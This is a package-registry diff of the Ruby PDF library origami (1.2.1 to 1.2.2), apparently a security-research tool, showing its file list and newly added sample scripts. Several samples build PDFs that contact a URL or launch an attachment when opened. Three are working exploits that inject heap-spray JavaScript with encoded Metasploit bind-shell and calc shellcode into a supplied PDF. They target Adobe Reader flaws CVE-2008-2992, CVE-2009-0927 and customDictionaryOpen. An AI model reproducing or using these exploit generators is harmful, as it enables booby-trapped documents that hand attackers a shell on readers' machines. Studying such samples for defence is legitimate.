origami 1.2.1 → 1.2.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (121) hide show
  1. data/README +1 -1
  2. data/bin/gui/hexview.rb +1 -1
  3. data/bin/gui/menu.rb +4 -4
  4. data/bin/gui/textview.rb +6 -4
  5. data/bin/gui/treeview.rb +4 -4
  6. data/bin/gui/walker.rb +1 -1
  7. data/bin/pdf2graph +1 -1
  8. data/bin/pdf2pdfa +1 -1
  9. data/bin/pdf2ruby +1 -1
  10. data/bin/pdfcocoon +1 -1
  11. data/bin/pdfcop +1 -1
  12. data/bin/pdfdecompress +1 -1
  13. data/bin/pdfdecrypt +1 -1
  14. data/bin/pdfencrypt +1 -1
  15. data/bin/pdfextract +75 -14
  16. data/bin/pdfmetadata +1 -1
  17. data/bin/shell/.irbrc +1 -1
  18. data/{origami.rb → lib/origami.rb} +3 -3
  19. data/{origami → lib/origami}/3d.rb +0 -0
  20. data/{origami → lib/origami}/acroform.rb +2 -2
  21. data/{origami → lib/origami}/actions.rb +0 -0
  22. data/{origami → lib/origami}/annotations.rb +0 -0
  23. data/{origami → lib/origami}/array.rb +0 -0
  24. data/{origami → lib/origami}/boolean.rb +0 -0
  25. data/{origami → lib/origami}/catalog.rb +0 -0
  26. data/{origami → lib/origami}/destinations.rb +0 -0
  27. data/{origami → lib/origami}/dictionary.rb +0 -0
  28. data/{origami → lib/origami}/docmdp.rb +0 -0
  29. data/{origami → lib/origami}/encryption.rb +9 -7
  30. data/{origami → lib/origami}/export.rb +0 -0
  31. data/lib/origami/extensions/fdf.rb +257 -0
  32. data/{origami/adobe → lib/origami/extensions}/ppklite.rb +3 -1
  33. data/{origami → lib/origami}/file.rb +0 -0
  34. data/{origami → lib/origami}/filters.rb +0 -0
  35. data/{origami → lib/origami}/filters/ascii.rb +0 -0
  36. data/{origami → lib/origami}/filters/ccitt.rb +0 -1
  37. data/{origami → lib/origami}/filters/crypt.rb +0 -0
  38. data/{origami → lib/origami}/filters/dct.rb +0 -0
  39. data/{origami → lib/origami}/filters/flate.rb +0 -0
  40. data/{origami → lib/origami}/filters/jbig2.rb +0 -0
  41. data/{origami → lib/origami}/filters/jpx.rb +0 -0
  42. data/{origami → lib/origami}/filters/lzw.rb +0 -0
  43. data/{origami → lib/origami}/filters/predictors.rb +0 -0
  44. data/{origami → lib/origami}/filters/runlength.rb +0 -0
  45. data/{origami → lib/origami}/font.rb +0 -0
  46. data/{origami → lib/origami}/functions.rb +0 -0
  47. data/{origami → lib/origami}/graphics.rb +0 -0
  48. data/{origami → lib/origami}/graphics/colors.rb +45 -23
  49. data/{origami → lib/origami}/graphics/instruction.rb +0 -0
  50. data/{origami → lib/origami}/graphics/path.rb +0 -0
  51. data/{origami → lib/origami}/graphics/patterns.rb +0 -0
  52. data/{origami → lib/origami}/graphics/render.rb +0 -0
  53. data/{origami → lib/origami}/graphics/state.rb +2 -2
  54. data/{origami → lib/origami}/graphics/text.rb +0 -0
  55. data/{origami → lib/origami}/graphics/xobject.rb +219 -0
  56. data/{origami → lib/origami}/header.rb +0 -0
  57. data/{origami → lib/origami}/javascript.rb +0 -0
  58. data/{origami → lib/origami}/linearization.rb +0 -0
  59. data/{origami → lib/origami}/metadata.rb +0 -0
  60. data/{origami → lib/origami}/name.rb +0 -0
  61. data/{origami → lib/origami}/null.rb +0 -0
  62. data/{origami → lib/origami}/numeric.rb +0 -0
  63. data/{origami → lib/origami}/obfuscation.rb +0 -0
  64. data/{origami → lib/origami}/object.rb +7 -2
  65. data/{origami → lib/origami}/outline.rb +0 -0
  66. data/{origami → lib/origami}/outputintents.rb +0 -0
  67. data/{origami → lib/origami}/page.rb +0 -0
  68. data/{origami → lib/origami}/parser.rb +76 -51
  69. data/{origami → lib/origami}/parsers/fdf.rb +9 -6
  70. data/{origami/parsers/pdf/linear.rb → lib/origami/parsers/pdf.rb} +31 -39
  71. data/lib/origami/parsers/pdf/linear.rb +84 -0
  72. data/lib/origami/parsers/ppklite.rb +93 -0
  73. data/{origami → lib/origami}/pdf.rb +6 -3
  74. data/{origami → lib/origami}/reference.rb +0 -0
  75. data/{origami → lib/origami}/signature.rb +170 -19
  76. data/{origami → lib/origami}/stream.rb +9 -0
  77. data/{origami → lib/origami}/string.rb +0 -0
  78. data/{origami → lib/origami}/trailer.rb +0 -0
  79. data/{origami → lib/origami}/webcapture.rb +0 -0
  80. data/{origami → lib/origami}/xfa.rb +0 -0
  81. data/{origami → lib/origami}/xreftable.rb +3 -7
  82. data/samples/README.txt +45 -0
  83. data/samples/actions/launch/calc.rb +87 -0
  84. data/samples/actions/launch/winparams.rb +22 -0
  85. data/samples/actions/loop/loopgoto.rb +24 -0
  86. data/samples/actions/loop/loopnamed.rb +21 -0
  87. data/samples/actions/named/named.rb +31 -0
  88. data/samples/actions/samba/smbrelay.rb +26 -0
  89. data/samples/actions/triggerevents/trigger.rb +75 -0
  90. data/samples/actions/webbug/submitform.js +26 -0
  91. data/samples/actions/webbug/webbug-browser.rb +68 -0
  92. data/samples/actions/webbug/webbug-js.rb +67 -0
  93. data/samples/actions/webbug/webbug-reader.rb +90 -0
  94. data/samples/attachments/attach.rb +40 -0
  95. data/samples/attachments/attached.txt +1 -0
  96. data/samples/crypto/crypto.rb +28 -0
  97. data/samples/digsig/signed.rb +46 -0
  98. data/samples/exploits/cve-2008-2992-utilprintf.rb +87 -0
  99. data/samples/exploits/cve-2009-0927-geticon.rb +65 -0
  100. data/samples/exploits/exploit_customdictopen.rb +55 -0
  101. data/samples/exploits/getannots.rb +69 -0
  102. data/samples/flash/flash.rb +31 -0
  103. data/samples/flash/helloworld.swf +0 -0
  104. data/samples/javascript/attached.txt +1 -0
  105. data/samples/javascript/js.rb +52 -0
  106. data/{tests → test}/ts_pdf.rb +1 -1
  107. metadata +109 -95
  108. data/origami/adobe/fdf.rb +0 -259
  109. data/origami/parsers/pdf.rb +0 -27
  110. data/origami/parsers/ppklite.rb +0 -86
  111. data/tests/dataset/test.dummycrt +0 -28
  112. data/tests/dataset/test.dummykey +0 -27
  113. data/tests/tc_actions.rb +0 -32
  114. data/tests/tc_annotations.rb +0 -85
  115. data/tests/tc_pages.rb +0 -37
  116. data/tests/tc_pdfattach.rb +0 -24
  117. data/tests/tc_pdfencrypt.rb +0 -110
  118. data/tests/tc_pdfnew.rb +0 -32
  119. data/tests/tc_pdfparse.rb +0 -98
  120. data/tests/tc_pdfsig.rb +0 -37
  121. data/tests/tc_streams.rb +0 -129
@@ -0,0 +1,67 @@
1
+ #!/usr/bin/ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ OUTPUTFILE = "webbug-js.pdf"
13
+ JSCRIPTFILE = "submitform.js"
14
+
15
+ puts "Now generating a new PDF file from scratch!"
16
+
17
+ contents = ContentStream.new.setFilter(:FlateDecode)
18
+ contents.write OUTPUTFILE,
19
+ :x => 300, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
20
+
21
+ contents.write "This PDF tries to connect through JavaScript calls :-D",
22
+ :x => 186, :y => 690, :rendering => Text::Rendering::FILL, :size => 15
23
+
24
+ contents.write "The script first tries to run your browser, then it connects with the Reader.",
25
+ :x => 186, :y => 670, :size => 15
26
+
27
+ contents.write "Comments:",
28
+ :x => 75, :y => 620, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14
29
+
30
+ content = <<-EOS
31
+ Windows:
32
+ - Acrobat Reader 8: Same behavior as with webbug-browser.pdf and webbug-reader.pdf.
33
+ - Foxit: Same behavior as with webbug-browser.pdf and webbug-reader.pdf, at the difference a popup appears
34
+ to ask for user confirmation before launching the browser. However the reader still connects to the site without
35
+ confirmation, as with webbug-reader.pdf
36
+
37
+ Mac:
38
+
39
+ Linux:
40
+ - Acrobat Reader 8: same behavior as Windows version.
41
+ - poppler-based viewers: not interpreting JavaScript : nothing happens.
42
+
43
+ EOS
44
+
45
+ contents.write content,
46
+ :x => 75, :y => 600, :rendering => Text::Rendering::FILL
47
+
48
+ # A JS script to execute at the opening of the document
49
+ jscript = File.open(JSCRIPTFILE).read
50
+
51
+ pdf = PDF.new
52
+
53
+ page = Page.new
54
+ page.Contents = contents
55
+
56
+ pdf.append_page(page)
57
+
58
+ # Create a new action based on the script, compressed with zlib
59
+ jsaction = Action::JavaScript.new( Stream.new(jscript,:Filter => :FlateDecode) )
60
+
61
+ # Add the script into the document names dictionary. Any scripts registered here will be executed at the document opening (with no OpenAction implied).
62
+ pdf.register(Names::Root::JAVASCRIPT, "Update", jsaction)
63
+
64
+ # Save the resulting file
65
+ pdf.save(OUTPUTFILE)
66
+
67
+ puts "PDF file saved as #{OUTPUTFILE}."
@@ -0,0 +1,90 @@
1
+ #!/usr/bin/ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ OUTPUTFILE = "webbug-reader.pdf"
13
+
14
+ URL = "http://localhost/webbug-reader.php"
15
+
16
+ puts "Now generating a new bugged PDF file from scratch!"
17
+
18
+ pdf = PDF.new
19
+
20
+ contents = ContentStream.new
21
+ contents.write "webbug-reader.pdf",
22
+ :x => 270, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
23
+
24
+ contents.write "When opened, this PDF connects to \"home\"",
25
+ :x => 156, :y => 690, :rendering => Text::Rendering::FILL, :size => 15
26
+
27
+ contents.write "Click \"Allow\" to connect to #{URL} through your current Reader.",
28
+ :x => 156, :y => 670, :size => 12
29
+
30
+
31
+ contents.write "Comments:",
32
+ :x => 75, :y => 600, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14
33
+
34
+
35
+ content = <<-EOS
36
+ 1. Open this pdf document (webbug-reader.pdf)
37
+ 2. The Reader connects to ${url}
38
+ 3. The web server returns the requested page:
39
+ <?php
40
+ header('Content-type: application/pdf');
41
+ readfile('calc.pdf');
42
+ ?>
43
+ 4. The Reader receives \"calc.pdf\" which is immediatly rendered
44
+ 5. A pop-up ask if it can execute the calc...
45
+
46
+ Note: The URL where the Reader tries to connect is displayed
47
+
48
+
49
+
50
+ Windows:
51
+ - Foxit : Nothing happens.
52
+ - Acrobat Reader 8: a popup appears for the user to allow the connection,
53
+ then the connection is made and a new window is opened with the 2nd document
54
+
55
+ Mac:
56
+ - Preview: nothing happens
57
+ - Acrobat Reader 8: a popup appears for the user to allow the connection,
58
+ then the connection is made and a new window is opened with the 2nd document
59
+
60
+ Linux:
61
+ - poppler: /SubmitForm is not supported
62
+ - Acrobat Reader 8: a popup appears for the user to allow the connection,
63
+ then the connection is made and a the document window is replaced with the 2nd document
64
+ Note: The 2 documents can be seen in the\"Window\" menu.
65
+ - Acrobat Reader 8: a popup appears for the user to allow the connection,
66
+ then the connection is made and a new window is opened with the 2nd document
67
+
68
+
69
+ EOS
70
+
71
+ contents.write content,
72
+ :x => 75, :y => 580, :rendering => Text::Rendering::FILL, :size => 12
73
+
74
+ page = Page.new.setContents( contents )
75
+ pdf.append_page( page )
76
+
77
+ # Submit flags.
78
+ flags = Action::SubmitForm::Flags::EXPORTFORMAT|Action::SubmitForm::Flags::GETMETHOD
79
+
80
+ # Sends the form at the document opening.
81
+ pdf.onDocumentOpen Action::SubmitForm.new(URL, [], flags)
82
+
83
+ # Comments:
84
+ # - any port can be specified http://url:1234
85
+ # - does not follow the Redirect answers
86
+
87
+ # Save the resulting file.
88
+ pdf.save(OUTPUTFILE)
89
+
90
+ puts "PDF file saved as #{OUTPUTFILE}."
@@ -0,0 +1,40 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ INPUTFILE = "attached.txt"
13
+ OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
14
+
15
+ puts "Now generating a new PDF file from scratch!"
16
+
17
+ # Creating a new file
18
+ pdf = PDF.new
19
+
20
+ # Embedding the file into the PDF.
21
+ pdf.attach_file(INPUTFILE,
22
+ :EmbeddedName => "README.txt",
23
+ :Filter => :ASCIIHexDecode
24
+ )
25
+
26
+ contents = ContentStream.new
27
+ contents.write "File attachment sample",
28
+ :x => 250, :y => 750, :rendering => Text::Rendering::FILL, :size => 30
29
+
30
+ pdf.append_page Page.new.setContents(contents)
31
+
32
+ js = <<JS
33
+ this.exportDataObject({cName:"README.txt", nLaunch:2});
34
+ JS
35
+ pdf.onDocumentOpen Action::JavaScript.new(js)
36
+
37
+ pdf.save(OUTPUTFILE)
38
+
39
+ puts "PDF file saved as #{OUTPUTFILE}."
40
+
@@ -0,0 +1 @@
1
+ ***THIS IS THE EMBEDDED FILE***
@@ -0,0 +1,28 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
13
+
14
+ puts "Now generating a new PDF file from scratch!"
15
+
16
+ # Creates an encrypted document with AES256 and a null password.
17
+ pdf = PDF.new.encrypt(:cipher => 'aes', :key_size => 256)
18
+
19
+ contents = ContentStream.new
20
+ contents.write "Crypto sample",
21
+ :x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
22
+
23
+ pdf.append_page Page.new.setContents(contents)
24
+
25
+ pdf.save(OUTPUTFILE)
26
+
27
+ puts "PDF file saved as #{OUTPUTFILE}."
28
+
@@ -0,0 +1,46 @@
1
+ #!/usr/bin/ruby
2
+
3
+ require 'openssl'
4
+
5
+ begin
6
+ require 'origami'
7
+ rescue LoadError
8
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
9
+ $: << ORIGAMIDIR
10
+ require 'origami'
11
+ end
12
+ include Origami
13
+
14
+ OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
15
+ CERTFILE = "test.crt"
16
+ RSAKEYFILE = "test.key"
17
+
18
+ contents = ContentStream.new.setFilter(:FlateDecode)
19
+ contents.write OUTPUTFILE,
20
+ :x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
21
+
22
+ pdf = PDF.new
23
+ page = Page.new.setContents(contents)
24
+ pdf.append_page(page)
25
+
26
+ # Open certificate files
27
+ cert = OpenSSL::X509::Certificate.new(File.open(CERTFILE).read)
28
+ key = OpenSSL::PKey::RSA.new(File.open(RSAKEYFILE).read)
29
+
30
+ sigannot = Annotation::Widget::Signature.new
31
+ sigannot.Rect = Rectangle[:llx => 89.0, :lly => 386.0, :urx => 190.0, :ury => 353.0]
32
+
33
+ page.add_annot(sigannot)
34
+
35
+ # Sign the PDF with the specified keys
36
+ pdf.sign(cert, key,
37
+ :method => 'adbe.pkcs7.sha1',
38
+ :annotation => sigannot,
39
+ :location => "France",
40
+ :contact => "fred@security-labs.org",
41
+ :reason => "Proof of Concept"
42
+ )
43
+
44
+ # Save the resulting file
45
+ pdf.save(OUTPUTFILE)
46
+
@@ -0,0 +1,87 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ pdf = PDF.read(ARGV[0])
13
+
14
+ # win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
15
+ win32_bin = "%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73%u684f%u3956%u386f%u4350"
16
+
17
+
18
+ # linux/x86/shell_bind_tcp - 105 bytes
19
+ # http://www.metasploit.com
20
+ # Encoder: x86/shikata_ga_nai
21
+ # AppendExit=false, PrependSetresuid=false,
22
+ # PrependSetuid=false, LPORT=4444, RHOST=,
23
+ # PrependSetreuid=false
24
+ linux_bin = "%u7dbf%uca55%u2ba7%udbc9%ub1d3%ud914%u2474%u5bf4%ueb83%u31fc%u0e7b%u7b03%u9f0e%ufba0%ua87c%uafa8%u05c1%u5245%u484f%u3429%u0a82%ue711%u624e%u1559%u2e7e%u0acf%u9ed1%uca86%u78bb%uc1c1%u0dbc%uddb0%u090f%ub883%u91a2%uf4a0%u5c5b%u66a6%u34fa%ud098%u4830%u99af%u2032%u751f%ud8b0%ua637%u7154%u31a6%ud17b%ucb65%u619d%u0682%u41dd"
25
+
26
+ shellcode = linux_bin
27
+
28
+ jscript = %Q|
29
+ /*
30
+ From: http://www.milw0rm.com/exploits/7006
31
+
32
+ Adobe Reader Javascript Printf Buffer Overflow Exploit
33
+ ===========================================================
34
+ Reference: http://www.coresecurity.com/content/adobe-reader-buffer-overflow
35
+ CVE-2008-2992
36
+
37
+ Thanks to coresecurity for the technical background.
38
+
39
+ 6Nov,2008: Exploit released by me
40
+
41
+ Credits: Debasis Mohanty
42
+ www.hackingspirits.com
43
+ www.coffeeandsecurity.com
44
+ ===========================================================
45
+
46
+ //Exploit by Debasis Mohanty (aka nopsledge/Tr0y)
47
+ //www.coffeeandsecurity
48
+ //www.hackingspirits.com
49
+ */
50
+
51
+ app.alert("Prepare the spray");
52
+
53
+ var shellcode = unescape("#{shellcode}");
54
+
55
+ //Heap Spray starts here - Kiddos dont mess up with this
56
+ var nop ="";
57
+ for (i = 128;i >= 0; --i) nop += unescape("%u9090%u9090%u9090%u9090%u9090");
58
+ heapblock = nop + shellcode;
59
+
60
+ bigblock = unescape("%u9090%u9090");
61
+ headersize = 20;
62
+ spray = headersize+heapblock.length
63
+ while (bigblock.length<spray) bigblock+=bigblock;
64
+
65
+ fillblock = bigblock.substring(0, spray);
66
+ block = bigblock.substring(0, bigblock.length-spray);
67
+
68
+ while(block.length+spray < 0x40000) block = block+block+fillblock;
69
+
70
+ mem = new Array();
71
+ for (i=0;i<1400;i++) mem[i] = block + heapblock;
72
+
73
+ app.alert("Pull the trigger");
74
+
75
+ // reference snippet from core security
76
+ // http://www.coresecurity.com/content/adobe-reader-buffer-overflow
77
+
78
+ var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
79
+ util.printf("%45000f",num);
80
+ // util.printf("%45000.45000f", 0);
81
+
82
+ |
83
+
84
+ exploit = Action::JavaScript.new(Stream.new(jscript))
85
+ pdf.onDocumentOpen( exploit )
86
+ pdf.save("#{File.basename($0, '.rb')}.pdf")
87
+
@@ -0,0 +1,65 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ #
4
+ # References:
5
+ # CVE 2009-0927
6
+ # http://www.securityfocus.com/bid/34169
7
+ # http://www.zerodayinitiative.com/advisories/ZDI-09-014/
8
+ #
9
+ #�Vulnerable: Adobe Reader and Adobe Acrobat Professional < 8.1.4
10
+ #
11
+ # This exploit / PoC spawns a calc on Windows.
12
+ #
13
+ #
14
+
15
+ begin
16
+ require 'origami'
17
+ rescue LoadError
18
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
19
+ $: << ORIGAMIDIR
20
+ require 'origami'
21
+ end
22
+ include Origami
23
+
24
+ pdf = PDF.read(ARGV[0])
25
+
26
+ jscript = %Q|
27
+ function spary() {
28
+ var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98\
29
+ bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0\
30
+ ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8\
31
+ c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
32
+
33
+ //shellcode = unescape("%u7dbf%uca55%u2ba7%udbc9%ub1d3%ud914%u2474%u5bf4%ueb83%u31fc%u0e7b%u7b03%u9f0e%ufba0%ua87c%uafa8%u05c1%u5245%u484f%u3429%u0a82%ue711%u624e%u1559%u2e7e%u0acf%u9ed1%uca86%u78bb%uc1c1%u0dbc%uddb0%u090f%ub883%u91a2%uf4a0%u5c5b%u66a6%u34fa%ud098%u4830%u99af%u2032%u751f%ud8b0%ua637%u7154%u31a6%ud17b%ucb65%u619d%u0682%u41dd");
34
+
35
+ garbage = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\
36
+ 90%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\
37
+ 90%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\
38
+ 90%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\
39
+ 90%u9090%u9090%u9090") + shellcode;
40
+ nopblock = unescape("%u9090%u9090");
41
+ headersize = 10;
42
+ acl = headersize+garbage.length;
43
+ while (nopblock.length<acl) nopblock+=nopblock;
44
+ fillblock = nopblock.substring(0, acl);
45
+ block = nopblock.substring(0, nopblock.length-acl);
46
+ while(block.length+acl<0x40000) block = block+block+fillblock;
47
+ memory = new Array();
48
+ for (i=0;i<180;i++) memory[i] = block + garbage;
49
+ var buffersize = 4012;
50
+ var buffer = Array(buffersize);
51
+ for (i=0; i<buffersize; i++)
52
+ {
53
+ buffer[i] = unescape("%0a%0a%0a%0a");
54
+ }
55
+
56
+ Collab.getIcon(buffer+'_N.bundle');
57
+ }
58
+ spary();
59
+ |
60
+
61
+ exploit = Action::JavaScript.new(Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode]))
62
+ pdf.pages.first.onOpen( exploit )
63
+
64
+ pdf.save("#{File.basename($0, '.rb')}.pdf")
65
+
@@ -0,0 +1,55 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ pdf = PDF.read(ARGV[0])
13
+
14
+ jscript = %Q|
15
+ //##############
16
+ //Exploit made by Arr1val
17
+ //Proved in adobe 9.1 and adobe 8.1.4 on linux
18
+ //##############
19
+
20
+ app.alert('start heap spray...');
21
+
22
+ var memory;
23
+ var nop = unescape("%u9090%u9090");
24
+ var shellcode = unescape( "%uc92b%ue983%ud9eb%ud9ee%u2474%u5bf4%u7381%u1313%u2989%u8357%ufceb%uf4e2%u5222%u147a%ue340%u3d2b%ud175%udeb0%u44f2%uc1a9%udb50%u3f4f%ud502%u044f%u689a%u3143%ud94b%u0178%u689a%ud7e4%uefa3%ub4f8%u09de%u057b%uca45%ub6a0%uefa3%ud7e4%ue380%u0e2b%ub6a3%ud7e4%uf05a%ue7d0%udb18%u7841%ufa3c%u3f41%ueb3c%u3940%u6a9a%u047b%u689a%ud7e4"); //linux bind shell at port 4444
25
+
26
+ while(nop.length <= 0x10000/2) {
27
+ nop += nop;
28
+ }
29
+
30
+ nop = nop.substring(0,0x10000/2 - shellcode.length);
31
+
32
+ memory = new Array();
33
+ for (i=0; i<0x6ff0; i++) {
34
+ memory[i] = nop + shellcode;
35
+ }
36
+
37
+ //start exploit now
38
+ start();
39
+
40
+ function start()
41
+ {
42
+ this.spell.customDictionaryOpen(0,nop);//so the exploit jumps actually to 0x90909090. Place a very long 'AAAA' at the second param to go to 0x41414141
43
+ }
44
+
45
+ //############################
46
+
47
+ //# milw0rm.com [2009-04-29]
48
+ |
49
+
50
+ #exploit = Action::JavaScript.new(Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode]))
51
+ exploit = Action::JavaScript.new(Stream.new(jscript))
52
+ pdf.onDocumentOpen( exploit )
53
+
54
+ pdf.save("#{File.basename($0, '.rb')}.pdf")
55
+